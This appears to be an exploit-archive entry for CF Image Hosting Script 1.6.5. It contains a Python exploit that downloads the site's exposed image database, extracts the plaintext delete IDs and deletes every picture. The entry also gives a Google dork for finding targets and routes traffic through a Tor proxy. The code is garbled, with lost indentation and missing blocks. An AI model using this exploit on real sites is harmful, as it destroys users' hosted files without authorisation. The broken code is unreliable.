CF Image Hosting Script 1.6.5 Privilege Escalation

CF Image Hosting Script version 1.6.5 suffers from a privilege escalation vulnerability.

MD5 | 73a177897c7c4a4cd09013c89fb30886

#!/usr/bin/env python
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
Google Dork: "Powered By CF Image Hosting script"
Date: 01/08/2019
Exploit Author: David Tavarez
Vendor Homepage:
Software Link:
Version: 1.6.5
Tested on: Debian 9.6

By default, the database can be downloaded by any user. After decoding
the file the database should be unserialize. The DELETE ID is stored
in Plain Text, this ID can be use to delete a picture.

$ virtualenv cfexploit
$ source cfexploit/bin/activate
$ pip install phpserialize
$ pip install PySocks
$ python

[-] Target:
[-] Downloading the database...
[+] Decoding database...
[-] Finding pictues...
[+] Pictures found: 3
[+] Ready... let's do this! Deleting all pictures...
[+] Done.

import phpserialize
import base64

import socks
import socket

import sys

def create_connection(address, timeout=None, source_address=None):
sock = socks.socksocket()
return sock

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "", 9150)

# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection

import urllib2

if __name__ == '__main__':
if len(sys.argv) == 1:
print "ERROR: Provide a valid URL"
url = sys.argv[1]

ids = []

print "[+] Target: {}".format(url)
print "[+] Downloading the database..."
response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url))
print "[+] Decoding database..."
with open("imgdb.db.txt", "w+") as f:
print "[+] Finding pictues..."
for key, value in phpserialize.load(file("imgdb.db.txt")).iteritems():
print "[+] Pictures found: {}".format(len(ids))
print "[+] Ready... let's do this! Deleting all pictures..."
for id in ids:
urllib2.urlopen("{}/?d={}".format(url, id))
print "[+] Done."

except urllib2.URLError, ex:
if ex.reason == "Forbidden":
print "[-] ERROR: this version is not vulnerable."
except EOFError, e:
raise e

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